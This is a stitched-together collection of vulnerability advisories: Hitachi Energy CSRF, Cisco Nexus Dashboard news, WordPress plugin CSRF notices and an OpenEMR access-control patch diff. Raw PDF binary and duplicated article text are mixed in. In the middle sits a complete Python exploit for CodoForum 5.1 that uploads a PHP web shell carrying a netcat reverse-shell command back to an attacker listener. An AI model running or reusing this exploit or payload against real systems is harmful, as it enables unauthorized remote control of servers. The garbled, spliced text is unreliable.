A vulnerability exists in the HTTP web interface where the web interface does not sufficiently verify if a well-formed, valid, consistent request was intentionally provided by the user who submitted the request. This cause a Cross Site Request Forgery (CSRF), which if exploited could lead an attacker to gain unauthorized access to the web application and perform an unwanted operation on it without the knowledge of the legitimate user. An attacker, who successfully makes an MSM user who has already established a session to MSM web interface clicks a forged link to the MSM web interface, e.g., link is sent per E-Mail, could perform harmful command on MSM through its web server interface. This issue affects: Hitachi Energy MSM V2.2 and prior versions.

%PDF-1.7 %���� %Writing objects... 4 0 obj << /Type /Page /Resources 5 0 R /Parent 3 0 R /MediaBox \[0 0 595.44000 842.04000 \] /Contents 6 0 R /Group << /Type /Group /S /Transparency /CS /DeviceRGB >> /Tabs /S /StructParents 0 >> endobj 5 0 obj << /XObject << /Meta5 7 0 R /Image20 8 0 R >> /ExtGState << /GS6 9 0 R /GS12 10 0 R >> /Font << /F1 11 0 R /F2 12 0 R /F3 13 0 R /F4 14 0 R /F5 15 0 R >> /ProcSet \[/PDF /Text /ImageB /ImageC /ImageI \] >> endobj 2 0 obj << /Producer (PDFKit.NET 22.2.100.33395) /CreationDate (D:20220712015021-07'00') /ModDate (D:20220712015021-07'00') /Author () /Creator () /Keywords <> /Subject () /Title () >> endobj 6 0 obj << /Filter /FlateDecode /Length 3248 >> stream x��\\\[o�~��0�IQ�; 쮬4EԵ�<yPE��%�U�����Ù��(N �h.<���ᬮ�\_\_>�q��{��z��r��\_�w�^�\_^�?�v}��/����t���������bO�>?�<|�l��;�����sy�����H�G�9��Ú!� �}}����/���A�'����Hc!dW>���������{��

CVE-2021-40335

Inadequate access control and CSRF protections spawn critical and high severity issues

Adam Bannister 25 July 2022 at 14:10 UTC

Inadequate access control and CSRF protections spawn critical and high severity issues

Serious vulnerabilities in Cisco Nexus Dashboard give attackers a viable path to executing arbitrary commands as root, uploading container image files, or performing cross-site request forgery (CSRF) attacks.

Discovered via internal testing, the trio of unauthenticated bugs – one critical, two high severity – have been patched in the data center management platform’s latest software update.

Cisco said it was not aware of any in-the-wild malicious abuse of the vulnerability.

**Vulnerable API**

The most severe issue, notching a critical CVSS score of 9.8, could allow an attacker to access a vulnerable API running in the data network and execute arbitrary commands (CVE-2022-20857).

The vulnerability can be abused by sending crafted HTTP requests to the API, which, thanks to insufficient access controls, means an attacker can “execute arbitrary commands as the root user in any pod on a node”, reads a security advisory published on July 20.

The most severe of two high severity issues is the CSRF bug (CVSS 8.8), which exists in the web UI running in the management network.

Catch up on the latest enterprise security news

The vulnerability (CVE-2022-20861) is exploitable “by persuading an authenticated administrator of the web-based management interface to click a malicious link”, said Cisco. Should they achieve this, attackers could then “perform actions with Administrator privileges on an affected device”.

Finally, a flaw with a CVSS rating of 8.2 (CVE-2022-20858) exposes the service that manages container images in both the data and management networks.

Arising due to insufficient access controls, the vulnerability can be exploited “by opening a TCP connection to the affected service” and downloading container images or uploading malicious container images to an affected device. “The malicious images would be run after the device has rebooted or a pod has restarted,” added Cisco.

Vulnerable versions of Cisco Nexus Dashboard – formerly known as Cisco Application Services Engine – are 1.1, 2.0, 2.1, and 2.2 (although version 1.1 is not affected by CVE-2022-20858). All three flaws have been addressed in version 2.2(1e).

Cisco was unable to provide workarounds to mitigate risks.

YOU MIGHT ALSO LIKE Zyxel firewall vulnerabilities left business networks open to abuse

Cisco patches dangerous bug trio in Nexus Dashboard

The Name Directory WordPress plugin before 1.25.4 does not have CSRF check when importing names, and is also lacking sanitisation as well as escaping in some of the imported data, which could allow attackers to make a logged in admin import arbitrary names with XSS payloads in them.

CVE-2022-2071

Cross-Site Request Forgery (CSRF) vulnerability in Sygnoos Popup Builder plugin <= 4.1.11 at WordPress allows an attacker to update plugin settings.

CVE-2022-29495: Popup Builder – Create highly converting, mobile friendly marketing popups.

Data Access from Outside Expected Data Manager Component in GitHub repository openemr/openemr prior to 7.0.0.

@@ -16,6 +16,7 @@

use OpenEMR\\Common\\Acl\\AclMain;

use OpenEMR\\Common\\Crypto\\CryptoGen;

use OpenEMR\\Common\\Csrf\\CsrfUtils;

use OpenEMR\\Common\\Twig\\TwigContainer;

use OpenEMR\\Services\\FacilityService;

use OpenEMR\\Services\\PatientService;

  

@@ -1063,9 +1064,17 @@ public function list\_action($patient\_id = "")

$cur\_pid = isset($\_GET\['patient\_id'\]) ? filter\_input(INPUT\_GET, 'patient\_id') : '';

$used\_msg = xl('Current patient unavailable here. Use Patient Documents');

if ($cur\_pid == '00') {

if (!AclMain::aclCheckCore('patients', 'docs', '', \['write', 'addonly'\])) {

echo (new TwigContainer(null, $GLOBALS\['kernel'\]))->getTwig()->render('core/unauthorized.html.twig', \['pageTitle' => xl("Documents")\]);

exit;

}

$cur\_pid = '0';

$is\_new = 1;

}

if (!AclMain::aclCheckCore('patients', 'docs')) {

echo (new TwigContainer(null, $GLOBALS\['kernel'\]))->getTwig()->render('core/unauthorized.html.twig', \['pageTitle' => xl("Documents")\]);

exit;

}

$this\->assign('is\_new', $is\_new);

$this\->assign('place\_hld', $place\_hld);

$this\->assign('cur\_pid', $cur\_pid);

@@ -1,5 +1,8 @@

<?php

  

use OpenEMR\\Common\\Acl\\AclMain;

use OpenEMR\\Common\\Twig\\TwigContainer;

  

class C\_PracticeSettings extends Controller

{

var $template\_mod;

@@ -14,6 +17,11 @@ function \_\_construct($template\_mod = "general")

$this\->assign("TOP\_ACTION", $GLOBALS\['webroot'\] . "/controller.php?" . "practice\_settings" . "&");

$this\->assign("STYLE", $GLOBALS\['style'\]);

$this\->direction = ($GLOBALS\['\_SESSION'\]\['language\_direction'\] == 'rtl') ? 'right' : 'left';

  

if (!AclMain::aclCheckCore('admin', 'practice')) {

echo (new TwigContainer(null, $GLOBALS\['kernel'\]))->getTwig()->render('core/unauthorized.html.twig', \['pageTitle' => xl("Practice Settings")\]);

exit;

}

}

  

function default\_action($display = "")

@@ -27,8 +27,15 @@

require\_once("$srcdir/options.inc.php");

require\_once("$srcdir/payment.inc.php");

  

use OpenEMR\\Common\\Acl\\AclMain;

use OpenEMR\\Common\\Twig\\TwigContainer;

use OpenEMR\\Core\\Header;

  

if (!AclMain::aclCheckCore('acct', 'bill', '', 'write') && !AclMain::aclCheckCore('acct', 'eob', '', 'write')) {

echo (new TwigContainer(null, $GLOBALS\['kernel'\]))->getTwig()->render('core/unauthorized.html.twig', \['pageTitle' => xl("Confirm Payment")\]);

exit;

}

  

$screen = 'edit\_payment';

  

// Deletion of payment distribution code

@@ -23,10 +23,17 @@

  

use OpenEMR\\Billing\\ParseERA;

use OpenEMR\\Billing\\SLEOB;

use OpenEMR\\Common\\Acl\\AclMain;

use OpenEMR\\Common\\Csrf\\CsrfUtils;

use OpenEMR\\Common\\Twig\\TwigContainer;

use OpenEMR\\Core\\Header;

use OpenEMR\\OeUI\\OemrUI;

  

if (!AclMain::aclCheckCore('acct', 'bill', '', 'write') && !AclMain::aclCheckCore('acct', 'eob', '', 'write')) {

echo (new TwigContainer(null, $GLOBALS\['kernel'\]))->getTwig()->render('core/unauthorized.html.twig', \['pageTitle' => xl("ERA Posting")\]);

exit;

}

  

$hidden\_type\_code = isset($\_POST\['hidden\_type\_code'\]) ? $\_POST\['hidden\_type\_code'\] : '';

$check\_date = isset($\_POST\['check\_date'\]) ? $\_POST\['check\_date'\] : '';

$post\_to\_date = isset($\_POST\['post\_to\_date'\]) ? $\_POST\['post\_to\_date'\] : '';

@@ -17,9 +17,16 @@

require\_once("../globals.php");

require\_once("$srcdir/patient.inc");

  

use OpenEMR\\Common\\Acl\\AclMain;

use OpenEMR\\Common\\Csrf\\CsrfUtils;

use OpenEMR\\Common\\Twig\\TwigContainer;

use OpenEMR\\Core\\Header;

  

if (!AclMain::aclCheckCore('acct', 'rep\_a')) {

echo (new TwigContainer(null, $GLOBALS\['kernel'\]))->getTwig()->render('core/unauthorized.html.twig', \['pageTitle' => xl("Indigent Patients Report")\]);

exit;

}

  

$alertmsg = '';

  

function bucks($amount)

@@ -25,9 +25,16 @@

require\_once("$srcdir/payment.inc.php");

  

use OpenEMR\\Billing\\ParseERA;

use OpenEMR\\Common\\Acl\\AclMain;

use OpenEMR\\Common\\Twig\\TwigContainer;

use OpenEMR\\Core\\Header;

use OpenEMR\\OeUI\\OemrUI;

  

if (!AclMain::aclCheckCore('acct', 'bill', '', 'write') && !AclMain::aclCheckCore('acct', 'eob', '', 'write')) {

echo (new TwigContainer(null, $GLOBALS\['kernel'\]))->getTwig()->render('core/unauthorized.html.twig', \['pageTitle' => xl("New Payment")\]);

exit;

}

  

//===============================================================================

$screen = 'new\_payment';

//===============================================================================

@@ -23,9 +23,16 @@

require\_once("$srcdir/options.inc.php");

require\_once("$srcdir/payment.inc.php");

  

use OpenEMR\\Common\\Acl\\AclMain;

use OpenEMR\\Common\\Twig\\TwigContainer;

use OpenEMR\\Core\\Header;

use OpenEMR\\OeUI\\OemrUI;

  

if (!AclMain::aclCheckCore('acct', 'bill', '', 'write') && !AclMain::aclCheckCore('acct', 'eob', '', 'write')) {

echo (new TwigContainer(null, $GLOBALS\['kernel'\]))->getTwig()->render('core/unauthorized.html.twig', \['pageTitle' => xl("Search Payment")\]);

exit;

}

  

//===============================================================================

//Deletion of payment and its corresponding distributions.

//===============================================================================

@@ -36,10 +36,17 @@

use OpenEMR\\Billing\\InvoiceSummary;

use OpenEMR\\Billing\\ParseERA;

use OpenEMR\\Billing\\SLEOB;

use OpenEMR\\Common\\Acl\\AclMain;

use OpenEMR\\Common\\Csrf\\CsrfUtils;

use OpenEMR\\Common\\Twig\\TwigContainer;

use OpenEMR\\Core\\Header;

use OpenEMR\\OeUI\\OemrUI;

  

if (!AclMain::aclCheckCore('acct', 'eob', '', 'write')) {

echo (new TwigContainer(null, $GLOBALS\['kernel'\]))->getTwig()->render('core/unauthorized.html.twig', \['pageTitle' => xl("EOB Posting - Search")\]);

exit;

}

  

$DEBUG = 0; // set to 0 for production, 1 to test

$alertmsg = '';

$where = '';

@@ -36,8 +36,14 @@

  

use OpenEMR\\Common\\Acl\\AclMain;

use OpenEMR\\Common\\Csrf\\CsrfUtils;

use OpenEMR\\Common\\Twig\\TwigContainer;

use OpenEMR\\Core\\Header;

  

if (!AclMain::aclCheckCore('acct', 'rep') && !AclMain::aclCheckCore('acct', 'rep\_a')) {

echo (new TwigContainer(null, $GLOBALS\['kernel'\]))->getTwig()->render('core/unauthorized.html.twig', \['pageTitle' => xl("Cash Receipts by Provider")\]);

exit;

}

  

function is\_clinic($code)

{

global $bcodes;

@@ -60,11 +66,6 @@ function bucks($amount)

}

}

  

if (! AclMain::aclCheckCore('acct', 'rep')) {

die(xlt("Unauthorized access."));

}

  

  

$form\_use\_edate = $\_POST\['form\_use\_edate'\] ?? null;

  

$form\_proc\_codefull = trim($\_POST\['form\_proc\_codefull'\] ?? '');

@@ -373,6 +374,11 @@ function sel\_diagnosis() {

<?php

if ($\_POST\['form\_refresh'\]) {

$form\_doctor = $\_POST\['form\_doctor'\];

if (!AclMain::aclCheckCore('acct', 'rep\_a')) {

// only allow user to see their encounter information

$form\_doctor = $\_SESSION\['authUserID'\];

}

  

$arows = array();

  

$ids\_to\_skip = array();

@@ -18,8 +18,15 @@

require\_once('../globals.php');

require\_once("$srcdir/patient.inc");

  

use OpenEMR\\Common\\Acl\\AclMain;

use OpenEMR\\Common\\Twig\\TwigContainer;

use OpenEMR\\Core\\Header;

  

if (!AclMain::aclCheckCore('patients', 'lab')) {

echo (new TwigContainer(null, $GLOBALS\['kernel'\]))->getTwig()->render('core/unauthorized.html.twig', \['pageTitle' => xl("Lab Documents")\]);

exit;

}

  

$curdate = date\_create(date("Y-m-d"));

date\_sub($curdate, date\_interval\_create\_from\_date\_string("7 days"));

$sub\_date = date\_format($curdate, 'Y-m-d');

@@ -17,6 +17,7 @@

require\_once("$srcdir/lab.inc");

  

use OpenEMR\\Common\\Acl\\AclMain;

use OpenEMR\\Common\\Twig\\TwigContainer;

use OpenEMR\\Core\\Header;

  

// Indicates if we are entering in batch mode.

@@ -26,15 +27,17 @@

$form\_review = empty($\_GET\['review'\]) ? 0 : 1;

  

// Check authorization.

$thisauth = AclMain::aclCheckCore('patients', 'med');

$thisauth = AclMain::aclCheckCore('patients', 'lab');

if (!$thisauth) {

die(xlt('Not authorized'));

echo (new TwigContainer(null, $GLOBALS\['kernel'\]))->getTwig()->render('core/unauthorized.html.twig', \['pageTitle' => xl("Procedure Results")\]);

exit;

}

  

// Check authorization for pending review.

$reviewauth = AclMain::aclCheckCore('patients', 'sign');

if ($form\_review and !$reviewauth and !$thisauth) {

die(xlt('Not authorized'));

echo (new TwigContainer(null, $GLOBALS\['kernel'\]))->getTwig()->render('core/unauthorized.html.twig', \['pageTitle' => xl("Procedure Results")\]);

exit;

}

  

// Set pid for pending review.

@@ -18,8 +18,14 @@

  

use OpenEMR\\Common\\Acl\\AclMain;

use OpenEMR\\Common\\Csrf\\CsrfUtils;

use OpenEMR\\Common\\Twig\\TwigContainer;

use OpenEMR\\Core\\Header;

  

if (!AclMain::aclCheckCore('patients', 'lab')) {

echo (new TwigContainer(null, $GLOBALS\['kernel'\]))->getTwig()->render('core/unauthorized.html.twig', \['pageTitle' => xl("Pending Orders")\]);

exit;

}

  

function thisLineItem($row)

{

$provname = $row\['provider\_lname'\];

@@ -53,10 +59,6 @@ function thisLineItem($row)

} // End not csv export

}

  

if (!AclMain::aclCheckCore('acct', 'rep')) {

die(xlt("Unauthorized access."));

}

  

$form\_from\_date = isset($\_POST\['form\_from\_date'\]) ? DateToYYYYMMDD($\_POST\['form\_from\_date'\]) : date('Y-m-d');

$form\_to\_date = isset($\_POST\['form\_to\_date'\]) ? DateToYYYYMMDD($\_POST\['form\_to\_date'\]) : date('Y-m-d');

$form\_facility = $\_POST\['form\_facility'\] ?? null;

@@ -22,12 +22,12 @@

  

use OpenEMR\\Common\\Acl\\AclMain;

use OpenEMR\\Common\\Csrf\\CsrfUtils;

use OpenEMR\\Common\\Twig\\TwigContainer;

use OpenEMR\\Core\\Header;

  

// Might want something different here.

//

if (! AclMain::aclCheckCore('acct', 'rep')) {

die(xlt("Unauthorized access."));

if (!AclMain::aclCheckCore('patients', 'lab')) {

echo (new TwigContainer(null, $GLOBALS\['kernel'\]))->getTwig()->render('core/unauthorized.html.twig', \['pageTitle' => xl("Procedure Statistics Report")\]);

exit;

}

  

$from\_date = isset($\_POST\['form\_from\_date'\]) ? DateToYYYYMMDD($\_POST\['form\_from\_date'\]) : '0000-00-00';

@@ -15,6 +15,8 @@

  

require\_once("../globals.php");

  

use OpenEMR\\Common\\Acl\\AclMain;

use OpenEMR\\Common\\Twig\\TwigContainer;

use OpenEMR\\Core\\Header;

  

// This script can be run either inside the OpenEMR frameset for order catalog

@@ -26,6 +28,15 @@

$order = isset($\_GET\['order'\]) ? $\_GET\['order'\] + 0 : 0;

$labid = isset($\_GET\['labid'\]) ? $\_GET\['labid'\] + 0 : 0;

  

if (!$popup && !AclMain::aclCheckCore('admin', 'super')) {

echo (new TwigContainer(null, $GLOBALS\['kernel'\]))->getTwig()->render('core/unauthorized.html.twig', \['pageTitle' => xl("Configure Orders and Results")\]);

exit;

}

if ($popup && !AclMain::aclCheckCore('patients', 'lab') && !AclMain::aclCheckCore('admin', 'super')) {

echo (new TwigContainer(null, $GLOBALS\['kernel'\]))->getTwig()->render('core/unauthorized.html.twig', \['pageTitle' => xl("Configure Orders and Results")\]);

exit;

}

  

// If Save was clicked, set the result, close the window and exit.

//

if ($popup && $\_POST\['form\_save'\]) {

@@ -17,8 +17,15 @@

  

require\_once(dirname(\_\_FILE\_\_) . "../../globals.php");

  

use OpenEMR\\Common\\Acl\\AclMain;

use OpenEMR\\Common\\Twig\\TwigContainer;

use OpenEMR\\Core\\Header;

  

if (!AclMain::aclCheckCore('patients', 'med', '', 'write')) {

echo (new TwigContainer(null, $GLOBALS\['kernel'\]))->getTwig()->render('core/unauthorized.html.twig', \['pageTitle' => xl("Import")\]);

exit;

}

  

?>

<html\>

<head\>

@@ -18,9 +18,16 @@

require\_once(dirname(\_\_FILE\_\_) . "/../../library/patient.inc");

require\_once(dirname(\_\_FILE\_\_) . "/../../library/parse\_patient\_xml.php");

  

use OpenEMR\\Common\\Acl\\AclMain;

use OpenEMR\\Common\\Csrf\\CsrfUtils;

use OpenEMR\\Common\\Twig\\TwigContainer;

use OpenEMR\\Core\\Header;

  

if (!AclMain::aclCheckCore('patients', 'med', '', 'write')) {

echo (new TwigContainer(null, $GLOBALS\['kernel'\]))->getTwig()->render('core/unauthorized.html.twig', \['pageTitle' => xl("CCR Approve")\]);

exit;

}

  

if (isset($\_GET\['approve'\]) && $\_GET\['approve'\] == 1) {

if (!CsrfUtils::verifyCsrfToken($\_GET\["csrf\_token\_form"\])) {

CsrfUtils::csrfNotVerified();

@@ -13,6 +13,11 @@

\*/

  

require\_once("../../globals.php");

require\_once("../../../library/registry.inc");

  

use OpenEMR\\Common\\Acl\\AclMain;

use OpenEMR\\Common\\Twig\\TwigContainer;

  

if (substr($\_GET\["formname"\], 0, 3) === 'LBF') {

// Use the List Based Forms engine for all LBFxxxxx forms.

include\_once("$incdir/forms/LBF/new.php");

@@ -25,6 +30,14 @@

// ensure the path variable has no illegal characters

check\_file\_dir\_name($\_GET\["formname"\]);

  

// ensure authorized to see the form

if (!AclMain::aclCheckForm($\_GET\["formname"\])) {

$formLabel = xl\_form\_title(getRegistryEntryByDirectory($\_GET\["formname"\], 'name')\['name'\] ?? '');

$formLabel = (!empty($formLabel)) ? $formLabel : $\_GET\["formname"\];

echo (new TwigContainer(null, $GLOBALS\['kernel'\]))->getTwig()->render('core/unauthorized.html.twig', \['pageTitle' => $formLabel\]);

exit;

}

  

include\_once("$incdir/forms/" . $\_GET\["formname"\] . "/new.php");

}

  

@@ -23,11 +23,29 @@

use OpenEMR\\Billing\\BillingUtilities;

use OpenEMR\\Common\\Acl\\AclMain;

use OpenEMR\\Common\\Csrf\\CsrfUtils;

use OpenEMR\\Common\\Twig\\TwigContainer;

use OpenEMR\\Core\\Header;

use OpenEMR\\OeUI\\OemrUI;

use OpenEMR\\PaymentProcessing\\Sphere\\SpherePayment;

use OpenEMR\\Services\\FacilityService;

  

if (!empty($\_REQUEST\['receipt'\]) && empty($\_POST\['form\_save'\])) {

if (!AclMain::aclCheckCore('acct', 'bill') && !AclMain::aclCheckCore('acct', 'rep\_a') && !AclMain::aclCheckCore('patients', 'rx')) {

echo (new TwigContainer(null, $GLOBALS\['kernel'\]))->getTwig()->render('core/unauthorized.html.twig', \['pageTitle' => xl("Receipt for Payment")\]);

exit;

}

} else {

if (!AclMain::aclCheckCore('acct', 'bill', '', 'write')) {

if (!empty($\_POST\['form\_save'\])) {

$pageTitle = xl("Receipt for Payment");

} else {

$pageTitle = xl("Record Payment");

}

echo (new TwigContainer(null, $GLOBALS\['kernel'\]))->getTwig()->render('core/unauthorized.html.twig', \['pageTitle' => $pageTitle\]);

exit;

}

}

  

$pid = (!empty($\_REQUEST\['hidden\_patient\_code'\]) && ($\_REQUEST\['hidden\_patient\_code'\] > 0)) ? $\_REQUEST\['hidden\_patient\_code'\] : $pid;

  

$facilityService = new FacilityService();

CVE-2022-2493: bug fixes b1 (#5280) · openemr/openemr@871ae51

CodoForum version 5.1 suffers from a remote code execution vulnerability.

    # Exploit Title: CodoForum v5.1 - Remote Code Execution (RCE)# Date: 06/07/2022# Exploit Author: Krish Pandey (@vikaran101)# Vendor Homepage: https://codoforum.com/# Software Link: https://bitbucket.org/evnix/codoforum_downloads/downloads/codoforum.v.5.1.zip# Version: CodoForum v5.1# Tested on: Ubuntu 20.04# CVE: CVE-2022-31854#!/usr/bin/python3import requestsimport timeimport optparseimport randomimport stringbanner = """  ______     _______     ____   ___ ____  ____      _____ _  ___ ____  _  _    / ___\ \   / / ____|   |___ \ / _ \___ \|___ \    |___ // |( _ ) ___|| || |  | |    \ \ / /|  _| _____ __) | | | |__) | __) |____ |_ \| |/ _ \___ \| || |_ | |___  \ V / | |__|_____/ __/| |_| / __/ / __/_____|__) | | (_) |__) |__   _| \____|  \_/  |_____|   |_____|\___/_____|_____|   |____/|_|\___/____/   |_|  """print("\nCODOFORUM V5.1 ARBITRARY FILE UPLOAD TO RCE(Authenticated)")print(banner)print("\nExploit found and written by: @vikaran101\n")parser = optparse.OptionParser()parser.add_option('-t', '--target-url', action="store", dest='target', help='path of the CodoForum v5.1 install')parser.add_option('-u', '--username', action="store", dest='username', help='admin username')parser.add_option('-p', '--password', action="store", dest='password', help='admin password')parser.add_option('-i', '--listener-ip', action="store", dest='ip', help='listener address')parser.add_option('-n', '--port', action="store", dest='port', help='listener port number')options, args = parser.parse_args()proxy = {'http': 'http://127.0.0.1:8080', 'https': 'https://127.0.0.1:8080'}if not options.target or not options.username or not options.password or not options.ip or not options.port:    print("[-] Missing arguments!")    print("[*] Example usage: ./exploit.py -t [target url] -u [username] -p [password] -i [listener ip] -n [listener port]")    print("[*] Help menu: ./exploit.py -h OR ./exploit.py --help")    exit()loginURL = options.target + '/admin/?page=login'globalSettings = options.target + '/admin/index.php?page=config'payloadURL = options.target + '/sites/default/assets/img/attachments/'session = requests.Session()randomFileName = ''.join((random.choice(string.ascii_lowercase) for x in range(10)))def getPHPSESSID():        try:        get_PHPID = session.get(loginURL)        headerDict = get_PHPID.headers        cookies = headerDict['Set-Cookie'].split(';')[0].split('=')[1]        return cookies    except:        exit()phpID = getPHPSESSID()def login():    send_cookies = {'cf':'0'}    send_headers = {'Host': loginURL.split('/')[2], 'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0', 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8','Accept-Language':'en-US,en;q=0.5','Accept-Encoding':'gzip, deflate','Content-Type':'multipart/form-data; boundary=---------------------------2838079316671520531167093219','Content-Length':'295','Origin':loginURL.split('/')[2],'Connection':'close','Referer':loginURL,'Upgrade-Insecure-Requests':'1'}    send_creds = "-----------------------------2838079316671520531167093219\nContent-Disposition: form-data; name=\"username\"\n\nadmin\n-----------------------------2838079316671520531167093219\nContent-Disposition: form-data; name=\"password\"\n\nadmin\n-----------------------------2838079316671520531167093219--"    auth = session.post(loginURL, headers=send_headers, cookies=send_cookies, data=send_creds, proxies=proxy)    if "CODOFORUM | Dashboard" in auth.text:        print("[+] Login successful")def uploadAndExploit():    send_cookies = {'cf':'0', 'user_id':'1', 'PHPSESSID':phpID}    send_headers = {'Content-Type':'multipart/form-data; boundary=---------------------------7450086019562444223451102689'}    send_payload = '\n-----------------------------7450086019562444223451102689\nContent-Disposition: form-data; name="site_title"\n\nCODOLOGIC\n-----------------------------7450086019562444223451102689\nContent-Disposition: form-data; name="site_description"\n\ncodoforum - Enhancing your forum experience with next generation technology!\n-----------------------------7450086019562444223451102689\nContent-Disposition: form-data; name="admin_email"\n\nadmin@codologic.com\n-----------------------------7450086019562444223451102689\nContent-Disposition: form-data; name="default_timezone"\n\nEurope/London\n-----------------------------7450086019562444223451102689\nContent-Disposition: form-data; name="register_pass_min"\n\n8\n-----------------------------7450086019562444223451102689\nContent-Disposition: form-data; name="num_posts_all_topics"\n\n30\n-----------------------------7450086019562444223451102689\nContent-Disposition: form-data; name="num_posts_cat_topics"\n\n20\n-----------------------------7450086019562444223451102689\nContent-Disposition: form-data; name="num_posts_per_topic"\n\n20\n-----------------------------7450086019562444223451102689\nContent-Disposition: form-data; name="forum_attachments_path"\n\nassets/img/attachments\n-----------------------------7450086019562444223451102689\nContent-Disposition: form-data; name="forum_attachments_exts"\n\njpg,jpeg,png,gif,pjpeg,bmp,txt\n-----------------------------7450086019562444223451102689\nContent-Disposition: form-data; name="forum_attachments_size"\n\n3\n-----------------------------7450086019562444223451102689\nContent-Disposition: form-data; name="forum_attachments_mimetypes"\n\nimage/*,text/plain\n-----------------------------7450086019562444223451102689\nContent-Disposition: form-data; name="forum_tags_num"\n\n5\n-----------------------------7450086019562444223451102689\nContent-Disposition: form-data; name="forum_tags_len"\n\n15\n-----------------------------7450086019562444223451102689\nContent-Disposition: form-data; name="reply_min_chars"\n\n10\n-----------------------------7450086019562444223451102689\nContent-Disposition: form-data; name="insert_oembed_videos"\n\nyes\n-----------------------------7450086019562444223451102689\nContent-Disposition: form-data; name="forum_privacy"\n\neveryone\n-----------------------------7450086019562444223451102689\nContent-Disposition: form-data; name="approval_notify_mails"\n\n\n-----------------------------7450086019562444223451102689\nContent-Disposition: form-data; name="forum_header_menu"\n\nsite_title\n-----------------------------7450086019562444223451102689\nContent-Disposition: form-data; name="forum_logo"; filename="' + randomFileName + '.php"\nContent-Type: application/x-php\n\n<?php system("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc ' + options.ip + ' ' + options.port + ' >/tmp/f");?> \n-----------------------------7450086019562444223451102689\nContent-Disposition: form-data; name="login_by"\n\nUSERNAME\n-----------------------------7450086019562444223451102689\nContent-Disposition: form-data; name="force_https"\n\nno\n-----------------------------7450086019562444223451102689\nContent-Disposition: form-data; name="user_redirect_after_login"\n\ntopics\n-----------------------------7450086019562444223451102689\nContent-Disposition: form-data; name="sidebar_hide_topic_messages"\n\noff\n-----------------------------7450086019562444223451102689\nContent-Disposition: form-data; name="sidebar_infinite_scrolling"\n\non\n-----------------------------7450086019562444223451102689\nContent-Disposition: form-data; name="show_sticky_topics_without_permission"\n\nno\n-----------------------------7450086019562444223451102689\nContent-Disposition: form-data; name="CSRF_token"\n\n23cc3019cadb6891ebd896ae9bde3d95\n-----------------------------7450086019562444223451102689--\n'    exploit = requests.post(globalSettings, headers=send_headers, cookies=send_cookies, data=send_payload, proxies=proxy)    print("[*] Checking webshell status and executing...")    payloadExec = session.get(payloadURL + randomFileName + '.php', proxies=proxy)    if payloadExec.status_code == 200:        print("[+] Payload uploaded successfully and executed, check listener")    else:        print("[-] Something went wrong, please try uploading the shell manually(admin panel > global settings > change forum logo > upload and access from " + payloadURL +"[file.php])")login()uploadAndExploit()

CodoForum 5.1 Remote Code Execution

Authenticated (custom plugin role) Arbitrary File Read via Export function vulnerability in GiveWP's GiveWP plugin <= 2.20.2 at WordPress.

CVE-2022-31475: GiveWP – Donation Plugin and Fundraising Platform

Cross-Site Request Forgery (CSRF) vulnerability in JoomUnited WP Meta SEO plugin <= 4.4.8 at WordPress allows an attacker to update the social settings.

CVE-2022-30337: WP Meta SEO

Cross-Site Request Forgery (CSRF) vulnerability in Sygnoos Popup Builder plugin <= 4.1.0 at WordPress leading to popup status change.

 Verified

 Fixed

**5.4**

CVSS 3.1 score Medium severity

Monitoring Coming soon

PSID 

de4f39bd2fdd

Classification 

Cross Site Request Forgery (CSRF)

OWASP Top 10 

A5: Broken Access Control

Publicly disclosed

2022-06-17

**Details**

Cross-Site Request Forgery (CSRF) vulnerability leading to Popup Status Change discovered by BEE-K (Patchstack) in WordPress Popup Builder plugin (versions <= 4.1.0).

**Solution**

Update the WordPress Popup Builder plugin to the latest available version (at least 4.1.1).

**References**

Changeset

CVE-2022-32289: WordPress Popup Builder plugin <= 4.1.0 - Cross-Site Request Forgery (CSRF) vulnerability leading to Popup Status Change - Patchstack

Cisco on Wednesday released security patches for 45 vulnerabilities affecting a variety of products, some of which could be exploited to execute arbitrary actions with elevated permissions on affected systems.
Of the 45 bugs, one security vulnerability is rated Critical, three are rated High, and 41 are rated Medium in severity. 
The most severe of the issues are CVE-2022-20857, CVE-2022-20858,

Cisco on Wednesday released security patches for 45 vulnerabilities affecting a variety of products, some of which could be exploited to execute arbitrary actions with elevated permissions on affected systems.

Of the 45 bugs, one security vulnerability is rated Critical, three are rated High, and 41 are rated Medium in severity.

The most severe of the issues are CVE-2022-20857, CVE-2022-20858, and CVE-2022-20861, which impact Cisco Nexus Dashboard for data centers and cloud network infrastructures and could enable an "unauthenticated remote attacker to execute arbitrary commands, read or upload container image files, or perform a cross-site request forgery attack."

*   **CVE-2022-20857** (CVSS score: 9.8) - Cisco Nexus Dashboard arbitrary command execution vulnerability
*   **CVE-2022-20858** (CVSS score: 8.2) - Cisco Nexus Dashboard container image read and write vulnerability
*   **CVE-2022-20861** (CVSS score: 8.8) - Cisco Nexus Dashboard cross-site request forgery (CSRF) vulnerability

All the three vulnerabilities, which were identified during internal security testing, affect Cisco Nexus Dashboard 1.1 and later, with fixes available in version 2.2(1e).

Another high-severity flaw relates to a vulnerability in the SSL/TLS implementation of Cisco Nexus Dashboard (CVE-2022-20860, CVSS score: 7.4) that could permit an unauthenticated, remote attacker to alter communications with associated controllers or view sensitive information.

"An attacker could exploit this vulnerability by using man-in-the-middle techniques to intercept the traffic between the affected device and the controllers, and then using a crafted certificate to impersonate the controllers," the company said in an advisory.

"A successful exploit could allow the attacker to alter communications between devices or view sensitive information, including Administrator credentials for these controllers."

Another set of five shortcomings in the Cisco Nexus Dashboard products concerns a mix of four privilege escalation flaws and an arbitrary file write vulnerability that could permit an authenticated attacker to gain root permissions and write arbitrary files to the devices.

Elsewhere resolved by Cisco are 35 vulnerabilities in its Small Business RV110W, RV130, RV130W, and RV215W routers that could equip an adversary already in possession of valid Administrator credentials with capabilities to run arbitrary code or cause a denial-of-service (DoS) condition by sending a specially crafted request to the web-based management interface.

Rounding off the patches is a fix for a cross-site scripting (XSS) vulnerability in the web-based management interface of Cisco IoT Control Center that, if successfully weaponized, could enable an unauthenticated, remote attacker to stage an XSS attack against a user.

"An attacker could exploit this vulnerability by persuading a user of the interface to click a crafted link," Cisco said. "A successful exploit could allow the attacker to execute arbitrary script code in the context of the affected interface or access sensitive, browser-based information."

Although none of the aforementioned vulnerabilities are said to be maliciously put to use in real-world attacks, it's imperative that users of the affected appliances move quickly to apply the patches.

